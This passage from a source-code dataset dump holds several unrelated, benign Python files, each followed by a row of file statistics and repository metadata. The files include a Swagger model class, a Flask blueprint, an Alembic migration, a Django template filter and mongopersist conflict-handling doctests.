:param price_reduction: The price_reduction of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: bool
"""
self._price_reduction = price_reduction
@property
def display_text(self):
"""Gets the display_text of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
When provided this will be shown instead of the price range, e.g.: \\\"Offers over $450K considered\\\" # noqa: E501
:return: The display_text of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: str
"""
return self._display_text
@display_text.setter
def display_text(self, display_text):
"""Sets the display_text of this DomainListingAdminServiceV1ModelCommercialPrice.
When provided this will be shown instead of the price range, e.g.: \\\"Offers over $450K considered\\\" # noqa: E501
:param display_text: The display_text of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: str
"""
self._display_text = display_text
@property
def _from(self):
"""Gets the _from of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
Lowest price the property is expected to sell/rent for to set search price. For a fixed price, set this value the same as To # noqa: E501
:return: The _from of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: int
"""
return self.__from
@_from.setter
def _from(self, _from):
"""Sets the _from of this DomainListingAdminServiceV1ModelCommercialPrice.
Lowest price the property is expected to sell/rent for to set search price. For a fixed price, set this value the same as To # noqa: E501
:param _from: The _from of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: int
"""
self.__from = _from
@property
def to(self):
"""Gets the to of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
Highest price the property is expected to sell/rent for to set search price. To should not be greater than 10% above From for sale listings (excl. new developments). If the range provided is wider, it will be automatically corrected to be 10% around the same middle value. For a fixed price, set this value the same as From # noqa: E501
:return: The to of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: int
"""
return self._to
@to.setter
def to(self, to):
"""Sets the to of this DomainListingAdminServiceV1ModelCommercialPrice.
Highest price the property is expected to sell/rent for to set search price. To should not be greater than 10% above From for sale listings (excl. new developments). If the range provided is wider, it will be automatically corrected to be 10% around the same middle value. For a fixed price, set this value the same as From # noqa: E501
:param to: The to of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: int
"""
self._to = to
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(DomainListingAdminServiceV1ModelCommercialPrice, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, DomainListingAdminServiceV1ModelCommercialPrice):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| 37.789474 | 373 | 0.632834 | 1,302 | 11,488 | 5.40169 | 0.141321 | 0.05005 | 0.211005 | 0.170198 | 0.659178 | 0.578274 | 0.543296 | 0.476468 | 0.388028 | 0.314091 | 0 | 0.023259 | 0.277681 | 11,488 | 303 | 374 | 37.914191 | 0.824295 | 0.467531 | 0 | 0.086957 | 1 | 0 | 0.090662 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.144928 | false | 0 | 0.021739 | 0 | 0.282609 | 0.014493 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
551275cbabcfa004a4b2817008bd2fe510afaf64 | 289 | py | Python | api/modules/ScrollyMap/ScrollyMap.py | freestok/heroku | af13e1adaf1fcb776b23cb105d9eca29ac17503a | [
"MIT"
] | null | null | null | api/modules/ScrollyMap/ScrollyMap.py | freestok/heroku | af13e1adaf1fcb776b23cb105d9eca29ac17503a | [
"MIT"
] | null | null | null | api/modules/ScrollyMap/ScrollyMap.py | freestok/heroku | af13e1adaf1fcb776b23cb105d9eca29ac17503a | [
"MIT"
] | null | null | null | import json
import os
import psycopg2
from flask import (
Blueprint
)
ScrollyMapBlueprint = Blueprint('ScrollyMap', __name__,
static_folder='./../../../build')
@ScrollyMapBlueprint.route('/')
def scrolly_home():
return ScrollyMapBlueprint.send_static_file('index.html')
| 17 | 61 | 0.723183 | 29 | 289 | 6.931034 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004032 | 0.141869 | 289 | 16 | 62 | 18.0625 | 0.806452 | 0 | 0 | 0 | 0 | 0 | 0.128028 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0.090909 | 0.545455 | 0.363636 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
55139dde080354a39262bf971ac314a3b7708f9c | 110 | py | Python | aioneo4j-v4/__init__.py | 4Kaylum/aioneo4j-v4 | 7448593834d73f5afdb32645e91c88aec274c376 | [
"MIT"
] | null | null | null | aioneo4j-v4/__init__.py | 4Kaylum/aioneo4j-v4 | 7448593834d73f5afdb32645e91c88aec274c376 | [
"MIT"
] | null | null | null | aioneo4j-v4/__init__.py | 4Kaylum/aioneo4j-v4 | 7448593834d73f5afdb32645e91c88aec274c376 | [
"MIT"
] | null | null | null | from .client import Client as Neo4j
from .utils import query
__version__ = '0.1.0'
__all__ = [Neo4j, query]
| 15.714286 | 35 | 0.727273 | 17 | 110 | 4.235294 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054945 | 0.172727 | 110 | 6 | 36 | 18.333333 | 0.736264 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9b2e048a96a37889270fdec050b1719fa1a58e69 | 346 | py | Python | alembic/versions/99822318096d_merge_886b65_and_f94174.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 52 | 2018-11-02T00:53:21.000Z | 2022-03-08T16:03:52.000Z | alembic/versions/99822318096d_merge_886b65_and_f94174.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 1,944 | 2017-04-27T18:51:20.000Z | 2022-03-31T20:17:44.000Z | alembic/versions/99822318096d_merge_886b65_and_f94174.py | bparazin/skyportal | c160610ca0cc28eef9f36c2d11cc15bd9bcbfe56 | [
"BSD-3-Clause"
] | 63 | 2017-05-13T01:40:47.000Z | 2022-03-12T11:32:11.000Z | """merge 886b65 and f94174
Revision ID: 99822318096d
Revises: f94174183e7e, 886b65e82e3e
Create Date: 2020-10-29 15:54:09.623122
"""
# revision identifiers, used by Alembic.
revision = '99822318096d'
down_revision = ('f94174183e7e', '886b65e82e3e')
branch_labels = None
depends_on = None
def upgrade():
pass
def downgrade():
pass
| 15.727273 | 48 | 0.731214 | 42 | 346 | 5.952381 | 0.785714 | 0.192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.296552 | 0.16185 | 346 | 21 | 49 | 16.47619 | 0.565517 | 0.482659 | 0 | 0.25 | 0 | 0 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
9b40415e3009a18ada461f44cd285d1ac3a515fe | 785 | py | Python | paragraph2actions/augmentation/substitution_augmenter.py | rxn4chemistry/paragraph2actions | 2a922a96d77cd796855fdf0322dc314351e29979 | [
"MIT"
] | 17 | 2020-04-09T06:04:56.000Z | 2022-03-21T09:22:37.000Z | paragraph2actions/augmentation/substitution_augmenter.py | rxn4chemistry/paragraph2actions | 2a922a96d77cd796855fdf0322dc314351e29979 | [
"MIT"
] | 1 | 2021-09-02T00:56:57.000Z | 2021-09-06T07:20:59.000Z | paragraph2actions/augmentation/substitution_augmenter.py | rxn4chemistry/paragraph2actions | 2a922a96d77cd796855fdf0322dc314351e29979 | [
"MIT"
] | 7 | 2020-07-21T01:15:30.000Z | 2022-03-21T09:23:31.000Z | import random
from abc import ABC
from typing import List
from .augmenter import Augmenter
class SubstitutionAugmenter(Augmenter, ABC):
"""
Base class for data augmentation relying on substitution.
"""
def __init__(self, probability: float, values: List[str]):
"""
Args:
probability: probability with which to switch a value when prompted
values: list of values to use for substitution
"""
self.probability = probability
self.values = list(values)
assert 0 <= self.probability <= 1
assert len(self.values) > 0
def random_draw_passes(self) -> bool:
return random.uniform(0, 1) < self.probability
def draw_value(self) -> str:
return random.choice(self.values)
| 26.166667 | 79 | 0.647134 | 93 | 785 | 5.387097 | 0.473118 | 0.11976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008726 | 0.270064 | 785 | 29 | 80 | 27.068966 | 0.86562 | 0.236943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.214286 | false | 0.071429 | 0.285714 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 3 |
9b4e61e3493855dbe52063287845b9ba5f6adaa3 | 1,280 | py | Python | ask-sdk-model-runtime/ask_sdk_model_runtime/__init__.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | 90 | 2018-09-19T21:56:42.000Z | 2022-03-30T11:25:21.000Z | ask-sdk-model-runtime/ask_sdk_model_runtime/__init__.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | 11 | 2018-09-23T12:16:48.000Z | 2021-06-10T19:49:45.000Z | ask-sdk-model-runtime/ask_sdk_model_runtime/__init__.py | Signal-Kinetics/alexa-apis-for-python | abb8d3dce18a5510c48b215406ed36c024f01495 | [
"Apache-2.0"
] | 28 | 2018-09-19T22:30:38.000Z | 2022-02-22T22:57:07.000Z | # -*- coding: utf-8 -*-
#
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights
# Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
# OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the
# License.
#
from __future__ import absolute_import
from .api_client_message import ApiClientMessage
from .api_client_request import ApiClientRequest
from .api_client_response import ApiClientResponse
from .api_client import DefaultApiClient, ApiClient
from .api_configuration import ApiConfiguration
from .api_response import ApiResponse
from .authentication_configuration import AuthenticationConfiguration
from .base_service_client import BaseServiceClient
from .serializer import DefaultSerializer, Serializer
from .exceptions import (
ServiceException, SerializationException, ApiClientException)
from .service_client_response import ServiceClientResponse
from .utils import user_agent_info | 40 | 69 | 0.814844 | 165 | 1,280 | 6.193939 | 0.581818 | 0.058708 | 0.050881 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008065 | 0.128125 | 1,280 | 32 | 70 | 40 | 0.907706 | 0.435938 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.928571 | 0 | 0.928571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
9b64476718abb05be8435750d6ec76e01afad45e | 306 | py | Python | abc/abc087/abc087c-2.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | 1 | 2019-08-21T00:49:34.000Z | 2019-08-21T00:49:34.000Z | abc/abc087/abc087c-2.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | null | null | null | abc/abc087/abc087c-2.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | null | null | null | # DP
N = int(input())
A = [list(map(int, input().split())) for _ in range(2)]
b = [[0] * N for _ in range(2)]
b[0][0] = A[0][0]
for i in range(1, N):
b[0][i] = b[0][i - 1] + A[0][i]
b[1][0] = b[0][0] + A[1][0]
for i in range(1, N):
b[1][i] = max(b[1][i - 1], b[0][i]) + A[1][i]
print(b[1][N - 1])
| 23.538462 | 55 | 0.441176 | 77 | 306 | 1.727273 | 0.233766 | 0.090226 | 0.067669 | 0.165414 | 0.421053 | 0.421053 | 0.225564 | 0.225564 | 0 | 0 | 0 | 0.108787 | 0.218954 | 306 | 12 | 56 | 25.5 | 0.447699 | 0.006536 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.1 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9b8f59ecb0327462ce535c5b2126f47a5ca2c1f4 | 54 | py | Python | pyble/const/descriptor/gatt/characteristic_presentation_format.py | bgromov/PyBLEWrapper | 8a5d016e65b3c259391ddc97c371ab4b1b5c61b5 | [
"MIT"
] | 14 | 2015-03-30T23:11:36.000Z | 2020-04-07T00:57:12.000Z | pyble/const/descriptor/gatt/characteristic_presentation_format.py | bgromov/PyBLEWrapper | 8a5d016e65b3c259391ddc97c371ab4b1b5c61b5 | [
"MIT"
] | 3 | 2016-05-17T06:11:07.000Z | 2017-05-15T16:43:09.000Z | pyble/const/descriptor/gatt/characteristic_presentation_format.py | bgromov/PyBLEWrapper | 8a5d016e65b3c259391ddc97c371ab4b1b5c61b5 | [
"MIT"
] | 11 | 2016-03-11T08:53:03.000Z | 2019-03-11T21:32:13.000Z | NAME="Characteristic Presentation Format"
UUID=0x2904
| 18 | 41 | 0.851852 | 6 | 54 | 7.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0.074074 | 54 | 2 | 42 | 27 | 0.82 | 0 | 0 | 0 | 0 | 0 | 0.62963 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9bbccd47d3c51757fe72a0ac4dd0f069aa2272b5 | 376 | py | Python | example/Mathematics.py | Jonak-Adipta-Kalita/JAK-Python-Package | f2b5ec97cf5c8b365d30c7899921dc4bc203358c | [
"MIT"
] | 2 | 2021-08-31T14:21:19.000Z | 2021-09-28T07:36:30.000Z | example/Mathematics.py | Jonak-Adipta-Kalita/JAK-Python-Package | f2b5ec97cf5c8b365d30c7899921dc4bc203358c | [
"MIT"
] | 50 | 2021-10-16T06:01:40.000Z | 2022-03-16T19:24:15.000Z | example/Mathematics.py | Jonak-Adipta-Kalita/JAK-Python-Package | f2b5ec97cf5c8b365d30c7899921dc4bc203358c | [
"MIT"
] | null | null | null | from jak_python_package.mathematics import Mathematics
number = input(">> ")
number_passed = Mathematics(number)
# Remove Spaces from the String
added_number = number_passed.add(2)
# Change to Lower Case
substracted_number = number_passed.sub(2)
# Change to Upper Case
multiplied_number = number_passed.mul(2)
# Change to Title Case
divided_number = number_passed.div(2)
| 22.117647 | 54 | 0.787234 | 54 | 376 | 5.277778 | 0.518519 | 0.210526 | 0.252632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012232 | 0.130319 | 376 | 16 | 55 | 23.5 | 0.859327 | 0.244681 | 0 | 0 | 0 | 0 | 0.010753 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.714286 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
32d2bb4089853e4d4c373836135f3b2081979fc5 | 100 | py | Python | Images/From_2D_to_3D/extrusion.py | RubenRubens/Montys-CAD | 3c59b1a8b01f66f61cce4bf8be735d63fd79bcef | [
"Apache-2.0"
] | 2 | 2020-06-06T22:16:36.000Z | 2020-08-10T11:24:25.000Z | Images/From_2D_to_3D/extrusion.py | RubenRubens/SolidMonty | 3c59b1a8b01f66f61cce4bf8be735d63fd79bcef | [
"Apache-2.0"
] | null | null | null | Images/From_2D_to_3D/extrusion.py | RubenRubens/SolidMonty | 3c59b1a8b01f66f61cce4bf8be735d63fd79bcef | [
"Apache-2.0"
] | null | null | null | from SolidMonty_FreeCAD import *
a = extrude(h = 20) (circle(r = 50))
export(name="extrusion") (a) | 20 | 36 | 0.68 | 15 | 100 | 4.466667 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047059 | 0.15 | 100 | 5 | 37 | 20 | 0.741176 | 0 | 0 | 0 | 0 | 0 | 0.089109 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
32d7e34295927f3f1f7479a236515404f996027c | 2,228 | py | Python | src/sheets/spacereq.py | duncanr0se/tui89 | 5398edee79111b762e5204236272adf322a6eb16 | [
"Apache-2.0"
] | null | null | null | src/sheets/spacereq.py | duncanr0se/tui89 | 5398edee79111b762e5204236272adf322a6eb16 | [
"Apache-2.0"
] | null | null | null | src/sheets/spacereq.py | duncanr0se/tui89 | 5398edee79111b762e5204236272adf322a6eb16 | [
"Apache-2.0"
] | null | null | null | #
# Copyright 2022 Duncan Rose
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
FILL = 8080 # Go with DUIM's 100 screens
class SpaceReq():
def __init__(self, minx, desx, maxx, miny, desy, maxy):
self._xmax = _fill_or(maxx)
self._xmin = _fill_or(minx)
self._xpref = _fill_or(desx)
self._ymax = _fill_or(maxy)
self._ymin = _fill_or(miny)
self._ypref = _fill_or(desy)
def __repr__(self):
return "SpaceReq([{},{},{}], [{},{},{}])".format(
self.x_min() if self.x_min() < FILL else "FILL",
self.x_preferred() if self.x_preferred() < FILL else "FILL",
self.x_max() if self.x_max() < FILL else "FILL",
self.y_min() if self.y_min() < FILL else "FILL",
self.y_preferred() if self.y_preferred() < FILL else "FILL",
self.y_max() if self.y_max() < FILL else "FILL")
def x_max(self):
return self._xmax
def x_preferred(self):
return self._xpref
def x_min(self):
return self._xmin
def y_max(self):
return self._ymax
def y_preferred(self):
return self._ypref
def y_min(self):
return self._ymin
def _fill_or(n):
return n if n < FILL else FILL
def combine_spacereqs(sr1, sr2, xcombiners, ycombiners):
min_x = _fill_or(xcombiners[0](sr1._xmin, sr2._xmin))
pref_x = _fill_or(xcombiners[1](sr1._xpref, sr2._xpref))
max_x = _fill_or(xcombiners[2](sr1._xmax, sr2._xmax))
min_y = _fill_or(ycombiners[0](sr1._ymin, sr2._ymin))
pref_y = _fill_or(ycombiners[1](sr1._ypref, sr2._ypref))
max_y = _fill_or(ycombiners[2](sr1._ymax, sr2._ymax))
return SpaceReq(min_x, pref_x, max_x, min_y, pref_y, max_y)
| 31.380282 | 74 | 0.649461 | 339 | 2,228 | 4.0059 | 0.312684 | 0.057437 | 0.061856 | 0.05891 | 0.080265 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020396 | 0.229803 | 2,228 | 70 | 75 | 31.828571 | 0.770979 | 0.258079 | 0 | 0 | 0 | 0 | 0.03423 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25641 | false | 0 | 0 | 0.205128 | 0.512821 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
fd2040ca0f5c995bbf690638bca533bf803ebf5f | 117 | py | Python | test/django_project/sort/urls.py | sonofpeter-exe/svisor | 4b271674c6674982d5aecf6414f9f59275a50309 | [
"MIT"
] | null | null | null | test/django_project/sort/urls.py | sonofpeter-exe/svisor | 4b271674c6674982d5aecf6414f9f59275a50309 | [
"MIT"
] | null | null | null | test/django_project/sort/urls.py | sonofpeter-exe/svisor | 4b271674c6674982d5aecf6414f9f59275a50309 | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('sort/', views.sort, name='sort-data'),
]
| 16.714286 | 48 | 0.675214 | 16 | 117 | 4.9375 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17094 | 117 | 6 | 49 | 19.5 | 0.814433 | 0 | 0 | 0 | 0 | 0 | 0.119658 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
fd2bab9300bdd6e457c6fbc3ba37e8e165d4de4e | 201 | py | Python | app/utils/templatetags/addDays.py | justTill/whereToLunch | 555ffd9c987cbbb17bd4b69ab48fe23b58691bbd | [
"Unlicense"
] | 1 | 2020-05-21T15:12:19.000Z | 2020-05-21T15:12:19.000Z | app/utils/templatetags/addDays.py | justTill/whereToLunch | 555ffd9c987cbbb17bd4b69ab48fe23b58691bbd | [
"Unlicense"
] | 10 | 2020-04-08T14:44:17.000Z | 2021-06-10T20:00:10.000Z | app/utils/templatetags/addDays.py | justTill/whereToLunch | 555ffd9c987cbbb17bd4b69ab48fe23b58691bbd | [
"Unlicense"
] | null | null | null | import datetime
from django import template
register = template.Library()
@register.filter()
def addDays(days):
newDate = datetime.date.today() + datetime.timedelta(days=days)
return newDate
| 20.1 | 67 | 0.751244 | 24 | 201 | 6.291667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144279 | 201 | 9 | 68 | 22.333333 | 0.877907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
fd4ff4943e1ffb1c2063302ea3c178a2d1630146 | 11,793 | py | Python | src/mongopersist/tests/test_conflict.py | doc22940/mongopersist | f344ecde19327092bd8a303d0a57dadde3a4c8cf | [
"ZPL-2.1"
] | 1 | 2019-02-28T02:28:06.000Z | 2019-02-28T02:28:06.000Z | src/mongopersist/tests/test_conflict.py | minskmaz/mongopersist | aa3ec485165e56240b7579903acaba34983376d0 | [
"ZPL-2.1"
] | null | null | null | src/mongopersist/tests/test_conflict.py | minskmaz/mongopersist | aa3ec485165e56240b7579903acaba34983376d0 | [
"ZPL-2.1"
] | null | null | null | ##############################################################################
#
# Copyright (c) 2011 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Mongo Tests"""
import doctest
import persistent
import transaction
from mongopersist import conflict, datamanager, interfaces, testing
class Foo(persistent.Persistent):
def __init__(self, name=None):
self.name = name
def __repr__(self):
return '<%s %r>' %(self.__class__.__name__, self.name)
class MergerList(persistent.Persistent):
def __init__(self, list=None):
self.list = list
def __repr__(self):
return '<%s %r>' %(self.__class__.__name__, self.list)
def _p_resolveConflict(self, orig, cur, new):
merged = orig.copy()
merged['list'] = sorted(list(set(cur['list']).union(set(new['list']))))
return merged
def doctest_create_conflict_error():
r"""create_conflict_error(): General Test
Simple helper function to create a conflict error.
>>> foo = Foo()
>>> conflict.create_conflict_error(
... foo, {'_py_serial': 1}, {'_py_serial': 2}, {'_py_serial': 3})
ConflictError: database conflict error
(oid None, class Foo, orig serial 1, cur serial 2, new serial 3)
"""
def doctest_NoCheckConflictHandler_basic():
r"""class NoCheckConflictHandler: basic
This conflict handler does absolutely nothing to resolve conflicts. It is
the default conflict handler of the library.
>>> handler = conflict.NoCheckConflictHandler(dm)
Let's check the event methods:
>>> obj = Foo('one')
>>> state = {'name': 'one'}
>>> handler.on_before_set_state(obj, state)
>>> obj, state
(<Foo 'one'>, {'name': 'one'})
>>> handler.on_before_store(obj, state)
>>> obj, state
(<Foo 'one'>, {'name': 'one'})
>>> handler.on_after_store(obj, state)
>>> obj, state
(<Foo 'one'>, {'name': 'one'})
>>> handler.on_modified(obj)
>>> obj, state
(<Foo 'one'>, {'name': 'one'})
There is a method that allows for comparing 2 states of a given
object. The method is used to detect whether objects really changed.
>>> handler.is_same(obj, {'name': 'one'}, {'name': 'one'})
True
>>> handler.is_same(obj, {'name': 'one'}, {'name': 'eins'})
False
Let's check the conflict checking methods:
>>> handler.has_conflicts([obj])
False
>>> handler.check_conflicts([obj])
"""
def doctest_NoCheckConflictHandler_full():
r"""class NoCheckConflictHandler: Full conflict test.
This test demonstrates the conflict resolution behavior of the
``NoCheckConflictHandler`` conflict handler during a real session.
First let's create an initial state:
>>> dm.reset()
>>> foo_ref = dm.insert(Foo('one'))
>>> dm.reset()
>>> coll = dm._get_collection_from_object(Foo())
>>> coll.find_one({})
{u'_id': ObjectId('4f5c114f37a08e2cac000000'), u'name': u'one'}
1. Transaction A loads the object:
>>> foo_A = dm.load(foo_ref)
>>> foo_A.name
u'one'
2. Transaction B comes along and modifies Foos data and commits:
>>> dm_B = datamanager.MongoDataManager(
... conn, default_database=DBNAME, root_database=DBNAME,
... conflict_handler_factory=conflict.NoCheckConflictHandler)
>>> foo_B = dm_B.load(foo_ref)
>>> foo_B.name = 'eins'
>>> dm_B.tpc_finish(None)
>>> coll.find_one({})
{u'_id': ObjectId('4f5c114f37a08e2cac000000'), u'name': u'eins'}
